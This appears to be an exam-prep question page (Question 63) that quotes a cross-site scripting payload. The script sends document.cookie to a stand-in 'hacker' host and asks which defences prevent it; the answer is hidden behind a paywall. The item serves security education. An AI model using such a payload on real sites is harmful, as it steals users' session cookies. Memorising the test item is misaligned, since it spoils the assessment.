Solved

Given the Following Code: ≪SCRIPT>var+img=new+Image();img

Question 63

Multiple Choice

Given the following code: <SCRIPT>var+img=new+Image() ;img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)


A) Web-application firewall
B) Parameterized queries
C) Output encoding
D) Session tokens
E) Input validation
F) Base64 encoding

Correct Answer:

verifed

Verified

Unlock this answer now
Get Access to more Verified Answers free of charge

Related Questions